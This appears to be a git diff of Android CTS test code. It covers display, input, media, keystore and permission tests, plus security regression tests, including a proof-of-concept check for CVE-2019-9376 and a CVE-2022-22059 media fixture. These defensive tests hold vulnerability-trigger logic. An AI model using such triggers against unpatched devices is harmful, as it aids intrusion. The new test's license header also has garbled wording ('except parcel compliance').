+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -23,6 +23,7 @@ import static android.content.res.Configuration.SCREENLAYOUT_SIZE_LARGE;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_MASK;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_NORMAL;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_XLARGE;
+import static android.server.wm.ActivityManagerTestBase.isTablet;
 import static android.view.WindowInsets.Type.displayCutout;
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.systemBars;
@@ -70,6 +71,12 @@ public class ConfigurationScreenLayoutTest
             tearDown();
             return;
         }
+        if (isTablet()) {
+            // TODO (b/228380863): re-enable it once the configuration calculation issue is resolved
+            // on taskbar devices.
+            tearDown();
+            return;
+        }
         // Disable IgnoreOrientationRequest feature because when it's enabled, the device would only
         // follow physical rotations.
         try (IgnoreOrientationRequestSession session =
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
index 1477720bf4b..faf7b21d28d 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
@@ -17,6 +17,7 @@
 package android.hardware.input.cts.tests;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assume.assumeFalse;
 
 import android.content.pm.PackageManager;
@@ -27,6 +28,7 @@ import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.MediumTest;
 
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -52,12 +54,14 @@ public class NintendoSwitchProTest extends InputHidTestCase {
     }
 
     @Test
+    @Ignore("TODO(b/227669886) - update the test to match upstream driver")
     public void testAllKeys() {
         assumeFalse("Skipping test for wear devices", isWatch());
         testInputEvents(R.raw.nintendo_switchpro_keyeventtests);
     }
 
     @Test
+    @Ignore("TODO(b/227669886) - update the test to match upstream driver")
     public void testAllMotions() {
         assumeFalse("Skipping test for wear devices", isWatch());
         testInputEvents(R.raw.nintendo_switchpro_motioneventtests);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 56b5aaf24eb..ae87bdc7d91 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -83,7 +83,6 @@ import androidx.test.runner.AndroidJUnit4;
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.compatibility.common.util.CddTest;
 
 import com.google.common.collect.ImmutableSet;
 
@@ -807,26 +806,6 @@ public class KeyAttestationTest {
         testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_MEID, "Unable to retrieve MEID");
     }
 
-    @CddTest(requirement="9.11.4")
-    @Test
-    public void testMandatoryDeviceidAttestation() {
-        // ID attestation is only mandatory on devices that have shipped with T and
-        // above.
-        if (Build.VERSION.DEVICE_INITIAL_SDK_INT <= Build.VERSION_CODES.S) {
-            return;
-        }
-        // ID attestation is not implemented on the goldfish emulator.
-        if (Build.BOARD.startsWith("goldfish")) {
-            return;
-        }
-        // ID attestation is tested by other tests (outside of this class), including negative
-        // tests that ID attestation is failing if the platform does not declare support.
-        // Hence, it's safe to only test here that the feature is supported.
-        PackageManager pm = getContext().getPackageManager();
-        assertThat("As of Android T, devices must support ID attestation",
-                pm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ID_ATTESTATION),is(true));
-    }
-
     @SuppressWarnings("deprecation")
     private void testRsaAttestation(byte[] challenge, boolean includeValidityDates, int keySize,
             int purposes, String[] paddingModes, boolean devicePropertiesAttestation)
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
index a8efc9b269a..9bdd2a0356b 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
@@ -17,6 +17,7 @@
 package android.media.audio.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -191,7 +192,7 @@ public class VolumeShaperTest {
                 .isLowRamDevice();
     }
 
-    private static AudioTrack createSineAudioTrack() {
+    private static AudioTrack createSineAudioTrack(boolean allowOffload) {
         final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
         final int TEST_MODE = AudioTrack.MODE_STATIC;
         final int TEST_SR = 48000;
@@ -203,8 +204,13 @@ public class VolumeShaperTest {
 
         final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
         final int frameSize = AudioHelper.frameSizeFromFormat(format);
+        final int usage = allowOffload
+                ? AudioAttributes.USAGE_MEDIA : AudioAttributes.USAGE_ALARM;
 
         final AudioTrack audioTrack = new AudioTrack.Builder()
+            .setAudioAttributes(new AudioAttributes.Builder()
+                    .setUsage(usage)
+                    .build())
             .setAudioFormat(format)
             .setBufferSizeInBytes(frameCount * frameSize)
             .setTransferMode(TEST_MODE)
@@ -268,8 +274,8 @@ public class VolumeShaperTest {
     }
 
     private static class AudioTrackPlayer implements Player {
-        public AudioTrackPlayer() {
-            mTrack = createSineAudioTrack();
+        AudioTrackPlayer(boolean allowOffload) {
+            mTrack = createSineAudioTrack(allowOffload);
             mName = new String("AudioTrack");
         }
 
@@ -341,11 +347,14 @@ public class VolumeShaperTest {
     private static final int PLAYER_TYPE_AUDIO_TRACK = 0;
     private static final int PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED = 1;
     private static final int PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED = 2;
+    private static final int PLAYER_TYPE_AUDIO_TRACK_NON_OFFLOADED = 3;
 
     private Player createPlayer(int type) {
         switch (type) {
             case PLAYER_TYPE_AUDIO_TRACK:
-                return new AudioTrackPlayer();
+                return new AudioTrackPlayer(true /* allowOffload */);
+            case PLAYER_TYPE_AUDIO_TRACK_NON_OFFLOADED:
+                return new AudioTrackPlayer(false /* allowOffload */);
             case PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED:
                 return new MediaPlayerPlayer(false /* offloaded */);
             case PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED:
@@ -1277,6 +1286,12 @@ public class VolumeShaperTest {
                 if (useMediaTime &&  p == PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED) {
                     continue;  // Offloaded media time not supported.
                 }
+                // For this test, force non offload track for media time,
+                // as media time based offload/direct volumeshaper is not supported yet.
+                // TODO(b/236187574) - remove this requirement.
+                if (useMediaTime &&  p == PLAYER_TYPE_AUDIO_TRACK) {
+                    p = PLAYER_TYPE_AUDIO_TRACK_NON_OFFLOADED;
+                }
 
                 try (   Player player = createPlayer(p);
                         VolumeShaper volumeShaper = player.createVolumeShaper(config);
diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java
index e117c3b4780..13e56f85b59 100644
--- a/tests/tests/media/common/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/common/src/android/media/cts/CodecState.java
@@ -59,6 +59,7 @@ public class CodecState {
     private int mAvailableInputBufferIndex;
     private LinkedList<Integer> mAvailableOutputBufferIndices;
     private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
+
     /**
      * The media timestamp of the latest frame decoded by this codec.
      *
@@ -70,7 +71,6 @@ public class CodecState {
     private long mFirstSampleTimeUs;
     private long mPlaybackStartTimeUs;
     private long mLastPresentTimeUs;
-    private long mOffsetTimestampUs = 0;
     private MediaCodec mCodec;
     private MediaTimeProvider mMediaTimeProvider;
     private MediaExtractor mExtractor;
@@ -365,7 +365,7 @@ public class CodecState {
                 sampleTime -= mFirstSampleTimeUs;
             }
 
-            mLastPresentTimeUs = mPlaybackStartTimeUs + sampleTime + mOffsetTimestampUs;
+            mLastPresentTimeUs = mPlaybackStartTimeUs + sampleTime;
 
             if ((sampleFlags & MediaExtractor.SAMPLE_FLAG_ENCRYPTED) != 0) {
                 MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
@@ -660,21 +660,10 @@ public class CodecState {
     /**
      * Seek media extractor to the beginning of the configured track.
      *
-     * @param shouldContinuePts  a boolean that controls whether timestamps keep increasing
+     * @param presentationTimeOffsetUs The offset for the presentation time to start at.
      */
-    public void seekToBeginning(boolean shouldContinuePts) {
-        mExtractor.seekTo(UNINITIALIZED_TIMESTAMP, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
-        if (shouldContinuePts) {
-            if (mDecodedFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
-                mOffsetTimestampUs = mDecodedFramePresentationTimeUs;
-                return;
-            }
-            if (mRenderedVideoFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
-                mOffsetTimestampUs = mRenderedVideoFramePresentationTimeUs;
-                return;
-            }
-        } else {
-            mOffsetTimestampUs = 0;
-        }
+    public void seekToBeginning(long presentationTimeOffsetUs) {
+        mExtractor.seekTo(mFirstSampleTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        mPlaybackStartTimeUs = presentationTimeOffsetUs;
     }
 }
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
index 3e90992f777..0b495dd8fd9 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -400,38 +400,24 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
         }
     }
 
-    /**
-     * Flushes all the video codecs when the player is in stand-by.
+    /** Seek all tracks to their very beginning.
      *
+     * @param  presentationTimeOffsetUs The offset for the presentation time to start at.
      * @throws IllegalStateException  if the player is not paused
      */
-    public void videoFlush() {
-        Log.d(TAG, "videoFlush");
+    public void seekToBeginning(long presentationTimeOffsetUs) {
+        Log.d(TAG, "seekToBeginning");
         synchronized (mState) {
             if (mState != STATE_PAUSED) {
                 throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
             }
 
             for (CodecState state : mVideoCodecStates.values()) {
-                state.flush();
-            }
-        }
-    }
-
-    /** Seek all video tracks to their very beginning.
-     *
-     * @param  shouldContinuePts      a boolean that controls whether timestamps keep increasing
-     * @throws IllegalStateException  if the player is not paused
-     */
-    public void videoSeekToBeginning(boolean shouldContinuePts) {
-        Log.d(TAG, "videoSeekToBeginning");
-        synchronized (mState) {
-            if (mState != STATE_PAUSED) {
-                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+                state.seekToBeginning(presentationTimeOffsetUs);
             }
 
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.seekToBeginning(shouldContinuePts);
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.seekToBeginning(presentationTimeOffsetUs);
             }
         }
     }
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index 73ba7c309ff..a424edbd8c5 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -4436,33 +4436,51 @@ public class DecoderTest extends MediaTestBase {
 
         // Pause playback
         mMediaCodecPlayer.pause();
-        // Ensure audio and video are in sync. We give some time to the codec to finish displaying
-        // queued images if need be.
+        // Allow some time for playback to pause
         Thread.sleep(maxDrainTimeMs);
-        final long audioPositionUs = mMediaCodecPlayer.getAudioTrackPositionUs();
-        final long videoPositionUs = mMediaCodecPlayer.getCurrentPosition();
+
+        // Verify that playback has paused
+        long pauseAudioFramePositionUs = mMediaCodecPlayer.getTimestamp().framePosition;
+        long pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
+        Thread.sleep(maxDrainTimeMs);
+        assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioFramePositionUs);
+        assertEquals(mMediaCodecPlayer.getVideoTimeUs(), pauseVideoPositionUs);
+
+        // Verify audio and video are in sync
         assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)",
-                        videoPositionUs, audioPositionUs),
-                videoPositionUs <= audioPositionUs);
-        // Flush the video pipeline
-        mMediaCodecPlayer.videoFlush();
+                        pauseVideoPositionUs, pauseAudioFramePositionUs),
+                pauseVideoPositionUs <= pauseAudioFramePositionUs);
+
+        // Flush both audio and video pipelines
+        mMediaCodecPlayer.flush();
+
         // The flush should not cause any frame to be displayed.
         // Wait for the max startup latency to see if one (incorrectly) arrives.
         Thread.sleep(maxAllowedTimeToFirstFrameMs);
-        assertEquals("Video frame rendered after flush", CodecState.UNINITIALIZED_TIMESTAMP,
-                mMediaCodecPlayer.getCurrentPosition());
-        // We queue one frame, but expect it not to be rendered
-        mMediaCodecPlayer.videoSeekToBeginning(true /* shouldContinuePts */);
+        assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getVideoTimeUs(),
+                CodecState.UNINITIALIZED_TIMESTAMP);
+
+        // Ensure video peek is disabled before queuing the next frame, otherwise it will
+        // automatically be rendered when queued.
+        mMediaCodecPlayer.setVideoPeek(false);
+
+        // We rewind to the beginning of the stream (to a key frame) and queue one frame, but
+        // pretend like we're seeking 1 second forward in the stream.
+        long presentationTimeOffsetUs = pauseVideoPositionUs + 1000 * 1000;
+        mMediaCodecPlayer.seekToBeginning(presentationTimeOffsetUs);
         Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
         assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
-        // The enqueued frame should not propagate through the tunnel while we're paused.
+
+        // The enqueued frame should not be rendered while we're paused.
         // Wait for the max startup latency to see if it (incorrectly) arrives.
         Thread.sleep(maxAllowedTimeToFirstFrameMs);
-        assertEquals("Video frame rendered during pause", CodecState.UNINITIALIZED_TIMESTAMP,
-                mMediaCodecPlayer.getCurrentPosition());
+        assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getVideoTimeUs(),
+                CodecState.UNINITIALIZED_TIMESTAMP);
+
         // Resume playback
         mMediaCodecPlayer.resume();
         Thread.sleep(maxAllowedTimeToFirstFrameMs);
+        // Verify that the first rendered frame was the first queued frame
         ImmutableList<Long> renderedVideoTimestamps =
                 mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
         assertFalse(String.format("No frame rendered after resume within %d ms",
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
index b7647c41893..f34f9e23146 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
@@ -264,11 +264,25 @@ public class DecoderTestAacFormat {
                 Log.d(TAG, "output buffers have changed.");
             } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
                 MediaFormat outputFormat = decoder.getOutputFormat();
-                audioParams.setNumChannels(outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-                audioParams.setSamplingRate(outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                try {
+                    audioParams.setNumChannels(
+                            outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                } catch (NullPointerException e) {
+                    fail("KEY_CHANNEL_COUNT not found on output format");
+                }
+                try {
+                    audioParams.setSamplingRate(
+                            outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                } catch (NullPointerException e) {
+                    fail("KEY_SAMPLE_RATE not found on output format");
+                }
                 if (sIsAtLeastT) {
-                    audioParams.setChannelMask(
-                            outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK));
+                    try {
+                        audioParams.setChannelMask(
+                                outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK));
+                    } catch (NullPointerException e) {
+                        fail("KEY_CHANNEL_MASK not found on output format");
+                    }
                 }
                 Log.i(TAG, "output format has changed to " + outputFormat);
             } else {
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionAllServicesTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionAllServicesTest.kt
deleted file mode 100644
index a0220bece98..00000000000
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionAllServicesTest.kt
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission3.cts
-
-import android.app.Activity
-import android.app.AppOpsManager
-import android.content.ComponentName
-import android.content.Intent
-import android.location.LocationManager
-import android.net.Uri
-import android.os.Build
-import android.provider.Settings
-import android.support.test.uiautomator.By
-import androidx.test.filters.SdkSuppress
-import com.android.compatibility.common.util.AppOpsUtils.setOpMode
-import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.eventually
-import com.android.compatibility.common.util.CtsDownstreamingTest
-import java.util.concurrent.TimeUnit
-import org.junit.Assert.assertEquals
-import org.junit.Assert.assertTrue
-import org.junit.Assert.assertNull
-import org.junit.Assume.assumeFalse
-import org.junit.Before
-import org.junit.Test
-
-@CtsDownstreamingTest
-@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
-class PermissionAllServicesTest : BasePermissionTest() {
-
-    // "All services" screen is not supported on Auto in T
-    @Before
-    fun assumeNotAuto() = assumeFalse(isAutomotive)
-
-    val locationManager = context.getSystemService(LocationManager::class.java)!!
-
-    @Test
-    fun testAllServicesPreferenceShownWhenAppIsLocationProviderAndCanHandleClick() {
-        installPackage(LOCATION_PROVIDER_APP_APK_PATH_2, grantRuntimePermissions = true)
-        allowPackagesToMockLocation(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-        enableAppAsLocationProvider(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-
-        eventually({
-            try {
-                launchAppInfoActivity(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-                waitFindObject(By.textContains(ALL_SERVICES_LABEL))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(LOCATION_PROVIDER_APP_PACKAGE_NAME_2, requireSuccess = false)
-        locationManager.removeTestProvider(LOCATION_PROVIDER_APP_APK_PATH_2)
-    }
-
-    @Test
-    fun testAllServicesSummaryShowsWhenAppIsLocationProviderAndCanHandleClick() {
-        installPackage(LOCATION_PROVIDER_APP_APK_PATH_2, grantRuntimePermissions = true)
-        allowPackagesToMockLocation(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-        enableAppAsLocationProvider(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-
-        eventually({
-            try {
-                launchAppInfoActivity(LOCATION_PROVIDER_APP_PACKAGE_NAME_2)
-                waitFindObject(By.textContains(SUMMARY))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(LOCATION_PROVIDER_APP_PACKAGE_NAME_2, requireSuccess = false)
-        locationManager.removeTestProvider(LOCATION_PROVIDER_APP_APK_PATH_2)
-    }
-
-    @Test
-    fun testAllServicesPreferenceNotShownWhenAppCannotHandleClick() {
-        installPackage(LOCATION_PROVIDER_APP_APK_PATH_1, grantRuntimePermissions = true)
-        allowPackagesToMockLocation(LOCATION_PROVIDER_APP_PACKAGE_NAME_1)
-        enableAppAsLocationProvider(LOCATION_PROVIDER_APP_PACKAGE_NAME_1)
-
-        eventually({
-            try {
-                launchAppInfoActivity(LOCATION_PROVIDER_APP_PACKAGE_NAME_1)
-                assertNull(waitFindObjectOrNull(By.textContains(ALL_SERVICES_LABEL)))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(LOCATION_PROVIDER_APP_PACKAGE_NAME_1, requireSuccess = false)
-        locationManager.removeTestProvider(LOCATION_PROVIDER_APP_APK_PATH_1)
-    }
-
-    @Test
-    fun testAllServicesPreferenceNotShownWhenAppIsNotLocationProvider() {
-        installPackage(NON_LOCATION_APP_APK_PATH, grantRuntimePermissions = true)
-
-        eventually({
-            try {
-                launchAppInfoActivity(NON_LOCATION_APP_PACKAGE_NAME)
-                assertNull(waitFindObjectOrNull(By.textContains(ALL_SERVICES_LABEL)))
-            } catch (e: Exception) {
-                pressBack()
-                throw e
-            } }, 1000L)
-
-        uninstallPackage(NON_LOCATION_APP_APK_PATH, requireSuccess = false)
-    }
-
-    private fun allowPackagesToMockLocation(packageName: String) {
-        setOpMode(packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED)
-        setOpMode(
-            context.packageName, AppOpsManager.OPSTR_MOCK_LOCATION, AppOpsManager.MODE_ALLOWED
-        )
-    }
-
-    private fun launchAppInfoActivity(packageName: String) {
-        context.startActivity(
-            Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS).apply {
-                data = Uri.parse("package:$packageName")
-                addCategory(Intent.CATEGORY_DEFAULT)
-                addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
-                addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
-            })
-    }
-
-    private fun enableAppAsLocationProvider(appPackageName: String) {
-        // Add the test app as location provider.
-        val future = startActivityForFuture(
-            Intent().apply {
-                component = ComponentName(
-                    appPackageName, "$appPackageName.AddLocationProviderActivity"
-                )
-            })
-
-        val result = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
-        assertEquals(Activity.RESULT_OK, result.resultCode)
-        assertTrue(
-            callWithShellPermissionIdentity {
-                locationManager.isProviderPackage(appPackageName)
-            }
-        )
-    }
-
-    companion object {
-        const val LOCATION_PROVIDER_APP_APK_PATH_1 =
-            "$APK_DIRECTORY/CtsAccessMicrophoneAppLocationProvider.apk"
-        const val NON_LOCATION_APP_APK_PATH = "$APK_DIRECTORY/CtsUsePermissionAppLatest.apk"
-        const val LOCATION_PROVIDER_APP_APK_PATH_2 =
-            "$APK_DIRECTORY/CtsAppLocationProviderWithSummary.apk"
-        const val NON_LOCATION_APP_PACKAGE_NAME = "android.permission3.cts.usepermission"
-        const val LOCATION_PROVIDER_APP_PACKAGE_NAME_1 =
-            "android.permission3.cts.accessmicrophoneapplocationprovider"
-        const val LOCATION_PROVIDER_APP_PACKAGE_NAME_2 =
-            "android.permission3.cts.applocationproviderwithsummary"
-        const val APP_LABEL = "LocationProviderWithSummaryApp"
-        const val ALL_SERVICES_LABEL = "All Services"
-        const val SUMMARY = "Services summary."
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionNoOpGtsTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionNoOpGtsTest.kt
new file mode 100644
index 00000000000..7274779249d
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionNoOpGtsTest.kt
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import com.android.compatibility.common.util.CtsDownstreamingTest
+import org.junit.Test
+
+// NoOp test class so that at least one GTS test passes on all platforms.
+// b/235606392 for reference. Will be removed once we move all downstreaming
+// CtsPermission3TestCases to GTS.
+@CtsDownstreamingTest
+class PermissionNoOpGtsTest {
+
+    @Test
+    fun shouldAlwaysPass() {}
+}
\ No newline at end of file
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index b20f24d7b54..2ff3bee8b9a 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -22,7 +22,6 @@ android_test {
     name: "CtsPermission4TestCases",
     sdk_version: "test_current",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     srcs: [
         "src/**/*.kt",
     ],
diff --git a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
index a53bf88c93e..f66df87b7ca 100644
--- a/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
+++ b/tests/tests/secure_element/omapi/apk/signed-CtsOmapiTestCases.apk
diff --git a/tests/tests/security/res/raw/cve_2022_22059.mkv b/tests/tests/security/res/raw/cve_2022_22059.mkv
new file mode 100644
index 00000000000..f50e8ffc58f
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2022_22059.mkv
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 6c7870d9ff5..ab05f91050d 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -15,14 +15,17 @@
  */
 package android.security.cts;
 
-import org.junit.Test;
+import static android.os.Process.BLUETOOTH_UID;
 
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
@@ -49,9 +52,14 @@ public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
   private void genericIntentTest(String action) throws SecurityException {
     try {
       Intent should_be_protected_broadcast = new Intent();
-      should_be_protected_broadcast.setComponent(
-          new ComponentName("com.android.bluetooth.services",
-            "com.android.bluetooth.opp.BluetoothOppReceiver"));
+
+      String bluetoothPackageName = getInstrumentation().getContext().getPackageManager()
+          .getPackagesForUid(BLUETOOTH_UID)[0];
+
+      ComponentName oppLauncherComponent = new ComponentName(bluetoothPackageName,
+          "com.android.bluetooth.opp.BluetoothOppReceiver");
+
+      should_be_protected_broadcast.setComponent(oppLauncherComponent);
       should_be_protected_broadcast.setAction(prefix + action);
       getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
     }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
new file mode 100644
index 00000000000..b5896f179de
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except parcel compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to parcel writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.accounts.Account;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+import android.os.Parcel;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2019_9376 {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 129287265)
+    @Test
+    public void testPocCVE_2019_9376() {
+        try {
+            Parcel parcel = Parcel.obtain();
+            assumeNotNull(parcel);
+            Account acc = new Account(parcel);
+
+            // Shouldn't have reached here, unless fix is not present
+            fail("Vulnerable to b/129287265 !!");
+        } catch (Exception e) {
+            if (e instanceof android.os.BadParcelableException) {
+                // This is expected with fix
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index a06192036c8..d9c0039f9fa 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -22,14 +22,20 @@
  */
 package android.security.cts;
 
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-import android.app.Instrumentation;
+import static org.hamcrest.Matchers.is;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
